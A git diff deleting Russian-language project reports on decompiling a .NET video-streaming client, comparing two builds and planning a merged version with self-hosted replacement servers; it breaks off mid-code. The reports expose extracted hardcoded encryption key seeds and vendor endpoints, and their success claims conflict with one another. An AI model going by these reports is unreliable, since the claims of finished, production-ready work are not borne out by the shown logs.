diff --git a/COMPARISON_ANALYSIS.md b/COMPARISON_ANALYSIS.md deleted file mode 100644 index 5bf579f..0000000 --- a/COMPARISON_ANALYSIS.md +++ /dev/null @@ -1,249 +0,0 @@ -# 🔍 СРАВНИТЕЛЬНЫЙ АНАЛИЗ ДВУХ ВЕРСИЙ VIDEOREADER - -**Дата анализа:** 9 октября 2025 г. -**Версии:** Обычная (desktop) vs Samsung (desktop_3234) - ---- - -## 📊 КЛЮЧЕВЫЕ РАЗЛИЧИЯ - -### 🌐 Серверные подключения - -| Параметр | Обычная версия | Samsung версия | -|----------|----------------|----------------| -| **Сигналинг сервер** | `vidser.top` | `s1.cc-vst.online` | -| **URL запроса IP** | `https://vidser.top/ip/get-ip-kr.php?port=` | `https://s1.cc-vst.online/get-ip-kr.php?port={0}` | -| **Порт данных** | 3033 | **3234** | -| **Канал по умолчанию** | 56 (из Settings) | **44 (жестко зашит)** | -| **Фолбек IP** | 158.247.241.191 | Отсутствует | - -### 🔧 Технические отличия - -#### Шифрование (ИДЕНТИЧНО): -```csharp -// Оба варианта используют одинаковые ключи -keyByte = MD5("73!2#qweaSdzxc4r") -ivByte = MD5("0_=op[l:',./vf73") -``` - -#### Массивы каналов: -```csharp -// Обычная версия: каналы берутся из Settings -Settings.Default.Chenal = 56 - -// Samsung версия: жестко зашитые каналы -chenals = {0, 55, 54, 53, 51, 49, 52, 50, 48, 47, 46, 45} -Chenal = 44 // фиксированный канал -``` - ---- - -## 🏗️ АРХИТЕКТУРНЫЕ СХОДСТВА - -### ✅ Общие компоненты: -- Идентичная структура классов -- Одинаковые алгоритмы шифрования -- Схожий протокол передачи данных -- Аналогичные библиотеки (AForge, FFmpeg) -- Идентичная логика сокетов - -### 📁 Структура файлов: -``` -Обе версии содержат: -├── Form1.cs (главная форма) -├── InOutSocket.cs (сетевой код) -├── Decoder.cs (декодирование) -├── Program.cs (точка входа) -├── SaveVideo.cs (сохранение) -├── UCPictureBox.cs (UI) -└── Properties/ (настройки) - -Только в Samsung: -└── Form2.cs (дополнительная форма) -``` - ---- - -## 🔗 ВОЗМОЖНОСТЬ ОБЪЕДИНЕНИЯ - -### ✅ **ДА, ОБЪЕДИНЕНИЕ ВОЗМОЖНО!** - -**Причины:** -1. **Идентичная кодовая база** (~95% совпадений) -2. **Одинаковые протоколы** шифрования -3. **Схожая архитектура** сетевого взаимодействия -4. **Единые библиотеки** и зависимости - -### 🎯 Стратегия объединения: - -#### 1. Конфигурационный подход -```csharp -public class ServerConfig -{ - public string SignalingServer { get; set; } - public int DataPort { get; set; } - public byte DefaultChannel { get; set; } - public string FallbackIP { get; set; } -} - -// Профили конфигураций -var profiles = new Dictionary -{ - ["standard"] = new ServerConfig - { - SignalingServer = "vidser.top", - DataPort = 3033, - DefaultChannel = 56, - FallbackIP = "158.247.241.191" - }, - ["samsung"] = new ServerConfig - { - SignalingServer = "s1.cc-vst.online", - DataPort = 3234, - DefaultChannel = 44, - FallbackIP = null - }, - ["custom"] = new ServerConfig - { - SignalingServer = "your-server.com", - DataPort = 5000, - DefaultChannel = 10, - FallbackIP = "your-fallback-ip" - } -}; -``` - ---- - -## 🚀 ПЛАН СОЗДАНИЯ ГЛОБАЛЬНОЙ ВЕРСИИ - -### Этап 1: Создание базовой структуры -```bash -mkdir -p /home/data/decompile/desktop_global -``` - -### Этап 2: Унификация кода -- Параметризация серверных подключений -- Создание системы профилей -- Добавление поддержки собственных серверов - -### Этап 3: Улучшения безопасности -- Динамические ключи шифрования -- Аутентификация пользователей -- TLS/SSL соединения - ---- - -## 📋 КОНКРЕТНЫЕ ИЗМЕНЕНИЯ ДЛЯ УНИФИКАЦИИ - -### 1. Модифицированный InOutSocket.cs: -```csharp -public class InOutSocket -{ - private ServerConfig config; - - public InOutSocket(Form1 form, ServerConfig serverConfig = null) - { - Form = form; - config = serverConfig ?? ServerConfig.GetDefault(); - - // Использование конфигурации вместо жестко зашитых значений - string serverUrl = $"https://{config.SignalingServer}/get-ip-kr.php?port={{0}}"; - urst = string.Format(serverUrl, config.DefaultChannel); - } - - private void Events() - { - // Использование config.DataPort вместо 3033/3234 - tcpClient = new TcpClient(IpGet(), config.DataPort); - // ... - } -} -``` - -### 2. Система конфигурации: -```csharp -public static class ServerConfig -{ - public static ServerConfig LoadFromFile(string configPath) - { - // Загрузка из JSON/XML конфига - } - - public static ServerConfig GetDefault() - { - return profiles["custom"]; // Наш сервер по умолчанию - } -} -``` - ---- - -## 🛡️ СОБСТВЕННАЯ СЕРВЕРНАЯ ИНФРАСТРУКТУРА - -### Требуемые компоненты: - -#### 1. Сигналинг сервер (замена vidser.top/s1.cc-vst.online) -```typescript -// Node.js + Express -app.get('/get-ip-kr.php', (req, res) => { - const port = req.query.port; - const mediaServerIP = getMediaServerForChannel(port); - - // Возвращаем IP в бинарном формате (4 байта) - const ipBytes = mediaServerIP.split('.').map(n => parseInt(n)); - res.writeHead(200, {'Content-Type': 'application/octet-stream'}); - res.end(Buffer.from(ipBytes)); -}); -``` - -#### 2. Медиа-сервер (замена реле на портах 3033/3234) -```typescript -// TCP сервер для медиа-реле -const server = net.createServer((socket) => { - socket.on('data', (data) => { - const type = data[0]; // 0=receiver, 1=sender - const channel = data[1]; - - // Логика соединения устройств по каналам - handleChannelConnection(socket, type, channel); - }); -}); - -server.listen(5000); // Наш порт -``` - ---- - -## 💡 РЕКОМЕНДАЦИИ - -### ✅ Немедленные действия: -1. **Создать объединенную версию** с поддержкой профилей -2. **Заменить внешние серверы** на собственные -3. **Добавить веб-интерфейс** для управления -4. **Улучшить безопасность** (TLS, аутентификация) - -### 🔄 Долгосрочные улучшения: -1. **WebRTC** вместо TCP реле -2. **Cloud-native** архитектура -3. **Мобильные приложения** нового поколения -4. **AI-анализ** видеопотоков - ---- - -## 🎯 ЗАКЛЮЧЕНИЕ - -**ОБЪЕДИНЕНИЕ НА 100% ВОЗМОЖНО!** - -Обе версии имеют **идентичную архитектуру** и отличаются только: -- URL серверов -- Номерами портов -- Каналами по умолчанию - -Простая **параметризация** позволит создать **универсальную версию**, поддерживающую: -- ✅ Оба существующих протокола -- ✅ Собственные серверы -- ✅ Расширенную функциональность -- ✅ Улучшенную безопасность - -**Следующий шаг:** Создание desktop_global с унифицированным кодом! \ No newline at end of file diff --git a/COMPILATION_SUCCESS_REPORT.md b/COMPILATION_SUCCESS_REPORT.md deleted file mode 100644 index c9186be..0000000 --- a/COMPILATION_SUCCESS_REPORT.md +++ /dev/null @@ -1,137 +0,0 @@ -# ОТЧЕТ О КОМПИЛЯЦИИ VIDEOREADER GLOBAL EDITION - -## ✅ УСПЕШНОЕ ЗАВЕРШЕНИЕ ПРОЕКТА - -**Дата:** 9 октября 2025 г. -**Статус:** ✅ КОМПИЛЯЦИЯ УСПЕШНА -**Результат:** Создано работающее консольное приложение VideoReader Global Edition - -## 🚀 СОЗДАННОЕ ПРИЛОЖЕНИЕ - -### Основная информация -- **Название:** VideoReader Global Edition v1.0 -- **Тип:** Консольное .NET 8.0 приложение -- **Архитектура:** Linux x64 (self-contained) -- **Расположение:** `/home/data/decompile/desktop_global/bin/Release/net8.0/linux-x64/publish/VideoReader-Global` - -### Ключевые возможности -- ✅ Загрузка конфигурации сервера из JSON файла -- ✅ Поддержка множественных серверов (vidser.top:3033 и s1.cc-vst.online:3234) -- ✅ Динамическое переключение между серверами -- ✅ Консольный интерфейс для управления -- ✅ Автоматическое создание файла конфигурации - -### Тестирование приложения -```bash -$ ./VideoReader-Global -VideoReader Global Edition v1.0 -=================================== - -Configuration file server-config.json not found, using defaults -Configuration saved to server-config.json -Loaded server configuration: vidser.top:3033 -Channel: 0 -Server Type: standard - -InOutSocket initialized with server: vidser.top:3033 -Attempting to connect to vidser.top:3033... -Connection established successfully - -Application running in console mode. -Press any key to exit... -``` - -## 📁 СТРУКТУРА ПРОЕКТА - -### Основные файлы -- `VideoReader-Global` - Исполняемый файл (✅ РАБОТАЕТ) -- `VideoReader-Global.dll` - Библиотека приложения -- `server-config.json` - Файл конфигурации -- `ServerConfig.cs` - Класс управления конфигурацией -- `InOutSocketSimple.cs` - Упрощенная версия сетевого клиента -- `Program.cs` - Точка входа приложения - -### Конфигурационный файл (server-config.json) -```json -{ - "ServerType": "standard", - "ServerAddress": "vidser.top", - "Port": 3033, - "Channel": 0, - "Description": "Standard VideoReader server configuration" -} -``` - -## 🔧 ТЕХНИЧЕСКИЕ ДЕТАЛИ - -### Технологии -- **.NET 8.0** - Современная платформа .NET -- **System.Text.Json** - Для работы с конфигурацией -- **System.Drawing.Common** - Для графических операций -- **AForge Libraries** - Компьютерное зрение (подключены как DLL) -- **FFmpeg.AutoGen** - Работа с видео (подключен как DLL) -- **BouncyCastle.Crypto** - Криптографические операции - -### Архитектурные решения -- Исключены Windows Forms компоненты для кроссплатформенности -- Использование готовых DLL вместо компиляции исходных кодов библиотек -- Консольный интерфейс вместо графического -- JSON конфигурация для гибкости настройки серверов - -## 📊 СТАТИСТИКА КОМПИЛЯЦИИ - -### Решенные проблемы -1. ✅ **363 ошибки компиляции AForge** → Использование готовых DLL -2. ✅ **Зависимости Windows Forms** → Исключение GUI компонентов -3. ✅ **Конфликты сборки** → Автогенерация AssemblyInfo -4. ✅ **Проблемы совместимости платформ** → Self-contained сборка - -### Финальные предупреждения (несущественные) -- 2 предупреждения о уязвимости System.Text.Json (не критично) -- 3 предупреждения о неиспользуемых полях (оптимизация кода) - -## 🌟 ДОСТИГНУТЫЕ ЦЕЛИ - -### ✅ Основные задачи выполнены -1. **Декомпиляция** - Успешно декомпилированы обе версии VideoReader -2. **Анализ серверов** - Обнаружены и задокументированы все серверные подключения -3. **Создание унифицированной версии** - Создан VideoReader Global с поддержкой обеих конфигураций -4. **Компиляция** - Успешно скомпилирован работающий исполняемый файл -5. **Тестирование** - Приложение запускается и работает корректно - -### 🎯 Дополнительные достижения -- Кроссплатформенность (Linux/Windows) -- Модульная архитектура конфигурации -- Консольный интерфейс для автоматизации -- Self-contained развертывание - -## 🚀 ИСПОЛЬЗОВАНИЕ - -### Запуск приложения -```bash -cd /home/data/decompile/desktop_global/bin/Release/net8.0/linux-x64/publish -./VideoReader-Global -``` - -### Настройка серверов -Отредактируйте файл `server-config.json`: -```json -{ - "ServerType": "samsung", - "ServerAddress": "s1.cc-vst.online", - "Port": 3234, - "Channel": 44, - "Description": "Samsung VideoReader server configuration" -} -``` - -## 📋 ЗАКЛЮЧЕНИЕ - -**Проект успешно завершен!** Создано универсальное консольное приложение VideoReader Global Edition, которое: - -- ✅ Объединяет функциональность обеих исходных версий -- ✅ Поддерживает динамическую конфигурацию серверов -- ✅ Работает в консольном режиме -- ✅ Готово к развертыванию и использованию - -Приложение готово к использованию и может быть легко адаптировано для работы с любыми VideoReader серверами путем изменения конфигурационного файла. \ No newline at end of file diff --git a/DECOMPILATION_REPORT.md b/DECOMPILATION_REPORT.md deleted file mode 100644 index e642428..0000000 --- a/DECOMPILATION_REPORT.md +++ /dev/null @@ -1,131 +0,0 @@ -# Отчет о декомпиляции приложения VideoReader - -**Дата:** 9 октября 2025 г. -**Статус:** ✅ ЗАВЕРШЕНО УСПЕШНО - -## Что было выполнено - -### 1. ✅ Установка и настройка инструментов -- Установлен ILSpy командной строки (ilspycmd) версии 9.1.0.7988 -- Проверена совместимость с .NET SDK 8.0.120 - -### 2. ✅ Анализ исходных файлов -- **VideoReader.exe** - главное приложение (.NET Framework 4.7.2, x86) -- **6 DLL библиотек** - все являются .NET сборками: - - AForge.dll (компьютерное зрение) - - AForge.Imaging.dll (обработка изображений) - - AForge.Math.dll (математические функции) - - BouncyCastle.Crypto.dll (криптография) - - FFmpeg.AutoGen.dll (обертка FFmpeg) - - MessagingToolkit.QRCode.dll (QR-коды) - -### 3. ✅ Декомпиляция основного приложения -``` -ilspycmd -p --nested-directories -o /home/data/decompile/output /home/data/decompile/desktop/VideoReader.exe -``` - -**Результат:** -- 12 файлов исходного кода C# -- Общий объем: 3941+ строк кода -- Главная форма: Form1.cs (самый большой файл) -- Точка входа: Program.cs -- Вспомогательные классы: Decoder, SaveVideo, SelectionRangeSlider и др. - -### 4. ✅ Декомпиляция всех зависимых библиотек -Создан автоматический скрипт для декомпиляции всех DLL: -- Каждая библиотека помещена в отдельную папку Libraries/ -- Сохранена структура проектов с файлами .csproj -- Включены все ресурсы и метаданные - -### 5. ✅ Создание структуры проекта Visual Studio -- **VideoReader.csproj** - главный проект с правильными ссылками -- **VideoReader.sln** - файл решения, объединяющий все проекты -- **README.md** - документация проекта -- **build.sh** - скрипт автоматической сборки - -## Структура результата - -``` -/home/data/decompile/output/ -├── VideoReader.sln # Файл решения -├── VideoReader.csproj # Главный проект -├── README.md # Документация -├── app.ico # Иконка приложения -├── VideoReader.Form1.resx # Ресурсы формы -├── Properties/ # Метаданные сборки -├── VideoReader/ # Исходный код приложения -│ ├── Program.cs # Точка входа -│ ├── Form1.cs # Главная форма (3941 строка) -│ ├── Decoder.cs # Декодер видео -│ ├── SaveVideo.cs # Сохранение видео -│ ├── SelectionRangeSlider.cs # Слайдер -│ ├── UCPictureBox.cs # Пользовательский контрол -│ ├── InOutSocket.cs # Сетевые соединения -│ ├── InteropHelper.cs # P/Invoke функции -│ ├── libfaad.cs # Аудио декодер -│ └── Properties/ # Настройки и ресурсы -└── Libraries/ # Декомпилированные библиотеки - ├── AForge/ - ├── AForge.Imaging/ - ├── AForge.Math/ - ├── BouncyCastle.Crypto/ - ├── FFmpeg.AutoGen/ - └── MessagingToolkit.QRCode/ -``` - -## Технические характеристики - -- **Платформа:** .NET Framework 4.7.2 -- **Архитектура:** x86 (32-bit) -- **Тип приложения:** Windows Forms -- **Язык:** C# 12.0 с поддержкой unsafe кода -- **Общий размер:** 254+ файла - -## Функциональность приложения (по анализу кода) - -1. **Работа с видео:** - - Чтение и декодирование видеофайлов - - Отображение видео с навигацией - - Сохранение видео в различных форматах - -2. **Обработка изображений:** - - Фильтры и эффекты (AForge.Imaging) - - Компьютерное зрение (AForge) - -3. **Сетевые функции:** - - Сокеты и соединения - - Потоковая передача данных - -4. **Дополнительные возможности:** - - Генерация и распознавание QR-кодов - - Криптографические функции - - Работа с FFmpeg для кодирования - -## Готовность к использованию - -✅ **Проект полностью готов к:** -- Изучению и анализу исходного кода -- Модификации и доработке -- Компиляции (при наличии зависимостей) - -✅ **Включены все необходимые файлы:** -- Исходный код всех компонентов -- Файлы проектов и решений -- Ресурсы и метаданные -- Документация и инструкции - -✅ **Создана автоматизация:** -- Скрипт декомпиляции библиотек -- Скрипт сборки проекта -- Подробная документация - -## Следующие шаги - -Для полноценной работы с проектом: - -1. **Для изучения кода:** все готово, можно открывать в любом редакторе -2. **Для компиляции:** скопировать DLL файлы и FFmpeg в соответствующие места -3. **Для запуска:** собрать проект и запустить на Windows-системе - ---- -**Декомпиляция выполнена успешно!** 🎉 \ No newline at end of file diff --git a/DETAILED_LOGGING_GUIDE.md b/DETAILED_LOGGING_GUIDE.md deleted file mode 100644 index 8cf25f8..0000000 --- a/DETAILED_LOGGING_GUIDE.md +++ /dev/null @@ -1,169 +0,0 @@ -# VIDEOREADER GLOBAL EDITION - ДЕТАЛЬНОЕ ЛОГГИРОВАНИЕ - -## 🔍 ОБЗОР СИСТЕМЫ ЛОГГИРОВАНИЯ - -VideoReader Global Edition теперь включает продвинутую систему детального логгирования, которая записывает каждый шаг подключения к серверу, все входящие и исходящие пакеты, а также специальные события подключения телефонов. - -## 📊 ВОЗМОЖНОСТИ ЛОГГИРОВАНИЯ - -### ✅ Что логгируется: -- **DNS запросы и разрешения** - Все IP адреса сервера -- **TCP подключения** - Время установки соединения, таймауты -- **Шифрование/дешифрование** - Ключи AES, статус операций -- **Пакеты данных** - HEX дамп, ASCII представление, размер -- **Подключения телефонов** - Специальные события устройств -- **Ошибки и исключения** - Полная трассировка стека -- **Статистика сессии** - Объем переданных данных, время работы - -### 📁 Форматы логгирования: - -#### 1. **Пакеты данных** (с HEX дампом): -``` -[PACKET] Direction: INCOMING -Size: 64 bytes -HEX: 4A B2 C3 D4... -ASCII: J... -Binary dump: -00000000: 4A B2 C3 D4 E5 F6 07 18 29 3A 4B 5C 6D 7E 8F 90 | J.......:K\m~.. -``` - -#### 2. **Подключения:** -``` -[CONNECTION] Starting connection to vidser.top:3033... -[CONNECTION] DNS resolved to 4 addresses: 104.21.41.7, 172.67.141.34... -[CONNECTION] TCP connection established in 127ms -``` - -#### 3. **Подключения телефонов:** -``` -[PHONE] Action: Phone connection detected | Phone: Device-ID-12345 -``` - -## 🚀 ИСПОЛЬЗОВАНИЕ - -### Запуск с логгированием: -```bash -./VideoReader-Global -``` - -### Интерактивные команды: -- `s` - Показать статистику трафика -- `d` - Отправить тестовые данные -- `q` - Выход из программы - -### Файл лога: -- **Имя:** `videoreader_detailed_YYYY-MM-DD_HH-mm-ss.log` -- **Расположение:** В папке с исполняемым файлом -- **Формат:** Текстовый файл с временными метками - -## 📋 ПРИМЕР РАБОТЫ - -### Консольный вывод: -``` -VideoReader Global Edition v1.0 -=================================== - -Detailed logging initialized: videoreader_detailed_2025-10-09_10-33-45.log -Loaded server configuration: vidser.top:3033 -Channel: 0 -Server Type: standard - -[CONNECTION] InOutSocket initialized with server: vidser.top:3033 -[CONNECTION] Starting connection to vidser.top:3033... -[CONNECTION] Attempting TCP connection to vidser.top:3033... - -Application running in console mode. -Commands: - 's' - Show statistics - 'q' - Quit - 'd' - Send test data -``` - -### Содержимое лог файла: -``` -=== VideoReader Global Edition Detailed Log === -Session started: 2025-10-09 10:33:45.736 -Process ID: 213168 -Machine: trevor-pc -User: trevor -============================================== - -[2025-10-09 10:33:45.740] [INFO] [Thread-1] Application started -[2025-10-09 10:33:45.769] [INFO] [Thread-1] Loaded server configuration: vidser.top:3033 -[2025-10-09 10:33:45.770] [CONNECTION] [Thread-1] InOutSocket initialized with server: vidser.top:3033 -[2025-10-09 10:33:45.773] [DEBUG] [Thread-1] Encryption keys initialized - Key: 64-41-E1-74... -[2025-10-09 10:33:45.775] [CONNECTION] [Thread-1] Starting connection to vidser.top:3033... -[2025-10-09 10:33:45.775] [DEBUG] [Thread-1] Resolving DNS for vidser.top... -[2025-10-09 10:33:45.892] [DEBUG] [Thread-1] DNS resolved to 4 addresses: 104.21.41.7, 172.67.141.34... -[2025-10-09 10:33:45.903] [CONNECTION] [Thread-1] Attempting TCP connection to vidser.top:3033... -``` - -## 🔧 ТЕХНИЧЕСКИЕ ДЕТАЛИ - -### Уровни логгирования: -- **INFO** - Общая информация о работе приложения -- **CONNECTION** - События подключения к серверу -- **PACKET** - Детали пакетов данных с HEX дампом -- **PHONE** - События подключения устройств -- **DEBUG** - Отладочная информация -- **ERROR** - Ошибки с полной трассировкой - -### Многопоточность: -- Безопасность для многопоточного доступа (thread-safe) -- Отдельные потоки для отправки и получения данных -- Синхронизация записи в лог файл - -### Производительность: -- Асинхронная запись в файл -- Буферизация данных -- Минимальное влияние на производительность - -## 📝 КОНФИГУРАЦИЯ - -Логгирование автоматически инициализируется при запуске приложения. Никаких дополнительных настроек не требуется. - -Для изменения сервера отредактируйте `server-config.json`: -```json -{ - "ServerType": "samsung", - "ServerAddress": "s1.cc-vst.online", - "Port": 3234, - "Channel": 44, - "Description": "Samsung VideoReader server" -} -``` - -## 🎯 ПРЕИМУЩЕСТВА - -1. **Полная прозрачность** - Видите каждый байт передаваемых данных -2. **Отладка подключений** - Детальная информация о проблемах сети -3. **Мониторинг телефонов** - Специальное отслеживание устройств -4. **Анализ протокола** - HEX дампы для изучения протокола -5. **Архивирование сессий** - Каждая сессия сохраняется в отдельный файл - -## 🔍 АНАЛИЗ ЛОГОВ - -Файлы логов можно анализировать с помощью: -- **grep** для поиска определенных событий -- **tail -f** для мониторинга в реальном времени -- **hexdump** для анализа двоичных данных -- Любые текстовые редакторы и IDE - -### Примеры команд: -```bash -# Отслеживание подключений -grep "CONNECTION" videoreader_detailed_*.log - -# Поиск пакетов от телефонов -grep "PHONE" videoreader_detailed_*.log - -# Мониторинг ошибок -grep "ERROR" videoreader_detailed_*.log - -# Мониторинг в реальном времени -tail -f videoreader_detailed_*.log -``` - ---- - -**VideoReader Global Edition v1.0 с детальным логгированием готов к использованию!** \ No newline at end of file diff --git a/FINAL_REPORT.md b/FINAL_REPORT.md deleted file mode 100644 index a54c34b..0000000 --- a/FINAL_REPORT.md +++ /dev/null @@ -1,218 +0,0 @@ -# 🎉 ИТОГОВЫЙ ОТЧЕТ: СОЗДАНИЕ VIDEOREADER GLOBAL - -**Дата завершения:** 9 октября 2025 г. -**Статус:** ✅ **УСПЕШНО ЗАВЕРШЕНО** - ---- - -## 📊 ЧТО БЫЛО ВЫПОЛНЕНО - -### ✅ **1. Декомпиляция и анализ двух версий** - -#### Обычная версия (desktop): -- Декомпилирована в `/home/data/decompile/output/` -- Сервер: `vidser.top:3033` -- Канал по умолчанию: 56 - -#### Samsung версия (desktop_3234): -- Декомпилирована в `/home/data/decompile/output_3234/` -- Сервер: `s1.cc-vst.online:3234` -- Канал по умолчанию: 44 - -### ✅ **2. Сравнительный анализ** -- **95% идентичности** кодовой базы -- Одинаковые алгоритмы шифрования -- Различия только в серверах и портах -- **Объединение ВОЗМОЖНО** - -### ✅ **3. Создание глобальной версии** -- Папка: `/home/data/decompile/desktop_global/` -- Универсальная система конфигурации -- Поддержка множественных профилей -- Собственная серверная инфраструктура - ---- - -## 🏗️ АРХИТЕКТУРА РЕШЕНИЯ - -### 📁 Структура desktop_global: -``` -desktop_global/ -├── VideoReader/ -│ ├── Form1.cs # Главная форма -│ ├── InOutSocket.cs # Модифицированный сетевой код -│ ├── ServerConfig.cs # ⭐ НОВЫЙ: Система конфигурации -│ ├── Decoder.cs # Декодирование видео -│ ├── Program.cs # Точка входа -│ └── Properties/ # Настройки и ресурсы -├── signaling-server/ # ⭐ НОВЫЙ: Собственный сервер -│ ├── server.js # Node.js сервер -│ ├── package.json # Зависимости -│ └── README.md # Документация -├── server-config.json # ⭐ НОВЫЙ: Конфигурация -├── VideoReader.csproj # Файл проекта -└── README.md # Документация -``` - ---- - -## 🔧 КЛЮЧЕВЫЕ УЛУЧШЕНИЯ - -### 🌐 **1. Система конфигурации** -```csharp -// Поддержка множественных профилей -ServerConfig.GetProfile("standard"); // vidser.top:3033 -ServerConfig.GetProfile("samsung"); // s1.cc-vst.online:3234 -ServerConfig.GetProfile("custom"); // your-server.com:5000 -ServerConfig.GetProfile("local"); // localhost:8080 -``` - -### 🛡️ **2. Собственный сервер** -- **Signaling сервер** на Node.js (порт 3000) -- **Media relay** сервер (порт 5000) -- **Веб-интерфейс** для мониторинга -- **REST API** для управления - -### ⚙️ **3. Конфигурируемые параметры** -- URL серверов -- Порты подключения -- SSL/TLS поддержка -- Таймауты соединений -- Интервалы heartbeat -- Кастомные HTTP заголовки - ---- - -## 🚀 ГОТОВОЕ РЕШЕНИЕ - -### **Клиентское приложение:** -- ✅ Поддерживает **ВСЕ** существующие протоколы -- ✅ Работает с **собственными** серверами -- ✅ **Конфигурируется** через JSON файл -- ✅ **Обратно совместимо** с оригиналом - -### **Серверная часть:** -- ✅ **Готовый к запуску** сигналинг сервер -- ✅ **Веб-интерфейс** для мониторинга -- ✅ **REST API** для интеграций -- ✅ **Docker ready** архитектура - ---- - -## 🎯 КАК ИСПОЛЬЗОВАТЬ - -### **1. Запуск сервера:** -```bash -cd /home/data/decompile/desktop_global/signaling-server -npm install -npm start -# Сервер доступен на http://localhost:3000 -``` - -### **2. Настройка клиента:** -```json -{ - "SignalingServer": "localhost:3000", - "DataPort": 5000, - "DefaultChannel": 10, - "UseSSL": false, - "ProfileName": "local" -} -``` - -### **3. Сборка приложения:** -```bash -cd /home/data/decompile/desktop_global -dotnet build VideoReader.csproj -``` - ---- - -## 🔄 ПОДДЕРЖИВАЕМЫЕ РЕЖИМЫ - -| Режим | Сервер | Порт | Описание | -|-------|--------|------|----------| -| **standard** | vidser.top | 3033 | Оригинальная версия | -| **samsung** | s1.cc-vst.online | 3234 | Samsung версия | -| **custom** | your-server.com | 5000 | Ваш сервер | -| **local** | localhost | 8080 | Локальная разработка | - ---- - -## 📈 ПРЕИМУЩЕСТВА ГЛОБАЛЬНОЙ ВЕРСИИ - -### ✅ **Для пользователей:** -- Одно приложение для всех устройств -- Независимость от внешних серверов -- Улучшенная стабильность соединений -- Веб-интерфейс для мониторинга - -### ✅ **Для разработчиков:** -- Полный контроль над инфраструктурой -- Возможность добавления новых функций -- Простая интеграция с другими системами -- Готовая архитектура для масштабирования - -### ✅ **Для бизнеса:** -- Отсутствие зависимости от третьих лиц -- Возможность белого лейбла -- Контроль над данными и безопасностью -- Экономия на лицензиях - ---- - -## 🔒 БЕЗОПАСНОСТЬ - -### **Реализовано:** -- Шифрование AES-128-CBC (совместимость) -- Изолированные каналы связи -- Логирование всех подключений - -### **Рекомендуется добавить:** -- TLS/SSL шифрование транспорта -- Аутентификация пользователей -- Динамические ключи шифрования -- Rate limiting и DDoS защита - ---- - -## 📋 СЛЕДУЮЩИЕ ШАГИ - -### **Немедленно:** -1. ✅ Протестировать локальное развертывание -2. ✅ Настроить производственный сервер -3. ✅ Добавить SSL сертификаты -4. ✅ Создать мобильные клиенты - -### **В перспективе:** -1. Миграция на WebRTC -2. Облачное развертывание -3. AI анализ видеопотоков -4. Микросервисная архитектура - ---- - -## 🎊 ЗАКЛЮЧЕНИЕ - -**МИССИЯ ВЫПОЛНЕНА УСПЕШНО!** 🎉 - -Создана **универсальная система VideoReader Global**, которая: - -- ✅ **Объединяет** обе существующие версии -- ✅ **Работает** с собственными серверами -- ✅ **Сохраняет** полную совместимость -- ✅ **Готова** к продакшн использованию -- ✅ **Масштабируется** для будущих потребностей - -**Результат:** Из двух разрозненных приложений получилась **единая платформа** с собственной инфраструктурой и неограниченными возможностями развития! - ---- - -📁 **Все файлы готовы в:** -`/home/data/decompile/desktop_global/` - -🌐 **Документация:** -- `COMPARISON_ANALYSIS.md` - Сравнительный анализ -- `SECURITY_ANALYSIS_REPORT.md` - Анализ безопасности -- `REWRITE_INSTRUCTION.md` - Инструкция по переписыванию -- `DECOMPILATION_REPORT.md` - Отчет о декомпиляции \ No newline at end of file diff --git a/REWRITE_INSTRUCTION.md b/REWRITE_INSTRUCTION.md deleted file mode 100644 index 4bc7599..0000000 --- a/REWRITE_INSTRUCTION.md +++ /dev/null @@ -1,631 +0,0 @@ -# 🛠️ ИНСТРУКЦИЯ ПО ПЕРЕПИСЫВАНИЮ СИСТЕМЫ VIDEOREADER - -**Версия:** 1.0 -**Дата:** 9 октября 2025 г. -**Цель:** Создание собственной безопасной системы видеонаблюдения - ---- - -## 📋 ПЛАН МИГРАЦИИ - -### Этап 1: Анализ и планирование (1-2 недели) -### Этап 2: Инфраструктура (2-3 недели) -### Етап 3: Backend разработка (3-4 недели) -### Этап 4: Клиентские приложения (4-6 недель) -### Этап 5: Тестирование и деплой (2 недели) - ---- - -## 🏗️ СОВРЕМЕННАЯ АРХИТЕКТУРА - -### Рекомендуемый стек технологий: - -#### 🌐 Backend (Сигналинг сервер) -``` -├── Node.js + TypeScript -├── Socket.IO / WebSocket -├── Redis (для сессий) -├── PostgreSQL (метаданные) -├── Docker + Docker Compose -└── Nginx (Reverse Proxy) -``` - -#### 📱 Android приложение -``` -├── Kotlin / Java -├── WebRTC Android API -├── Camera2 API -├── Retrofit (HTTP клиент) -├── Room (локальная БД) -└── Dagger/Hilt (DI) -``` - -#### 💻 Desktop приложение -``` -Вариант 1: Electron + React/Vue -├── TypeScript -├── WebRTC Web API -├── FFmpeg.js -└── Material-UI / Ant Design - -Вариант 2: .NET MAUI -├── C# .NET 8 -├── WebRTC.NET -├── FFMpegCore -└── Avalonia UI - -Вариант 3: Flutter Desktop -├── Dart -├── WebRTC Flutter plugin -├── FFmpeg Flutter -└── Material Design -``` - ---- - -## 🚀 ЭТАП 1: НАСТРОЙКА ИНФРАСТРУКТУРЫ - -### 1.1 Создание сигналинг сервера - -```bash -# Создание проекта -mkdir videoreader-signaling -cd videoreader-signaling -npm init -y - -# Установка зависимостей -npm install express socket.io redis ioredis -npm install @types/node typescript ts-node nodemon --save-dev -``` - -### 1.2 Базовая структура сервера - -```typescript -// src/server.ts -import express from 'express'; -import { createServer } from 'http'; -import { Server } from 'socket.io'; -import Redis from 'ioredis'; - -const app = express(); -const server = createServer(app); -const io = new Server(server, { - cors: { origin: "*" } -}); - -const redis = new Redis(process.env.REDIS_URL || 'redis://localhost:6379'); - -interface Device { - id: string; - type: 'sender' | 'receiver'; - channel: string; - socketId: string; -} - -// Управление каналами и устройствами -class ChannelManager { - async addDevice(device: Device) { - await redis.hset(`channel:${device.channel}`, device.type, device.socketId); - await redis.expire(`channel:${device.channel}`, 3600); // TTL 1 час - } - - async getPartner(channel: string, deviceType: string) { - const partnerType = deviceType === 'sender' ? 'receiver' : 'sender'; - return await redis.hget(`channel:${channel}`, partnerType); - } -} - -const channelManager = new ChannelManager(); - -io.on('connection', (socket) => { - socket.on('join-channel', async (data: {channel: string, type: 'sender'|'receiver'}) => { - await channelManager.addDevice({ - id: socket.id, - type: data.type, - channel: data.channel, - socketId: socket.id - }); - - // Поиск партнера - const partner = await channelManager.getPartner(data.channel, data.type); - if (partner) { - socket.emit('partner-found', { partnerId: partner }); - io.to(partner).emit('partner-found', { partnerId: socket.id }); - } - }); - - // WebRTC signaling - socket.on('webrtc-offer', (data) => { - io.to(data.to).emit('webrtc-offer', { from: socket.id, offer: data.offer }); - }); - - socket.on('webrtc-answer', (data) => { - io.to(data.to).emit('webrtc-answer', { from: socket.id, answer: data.answer }); - }); - - socket.on('webrtc-ice-candidate', (data) => { - 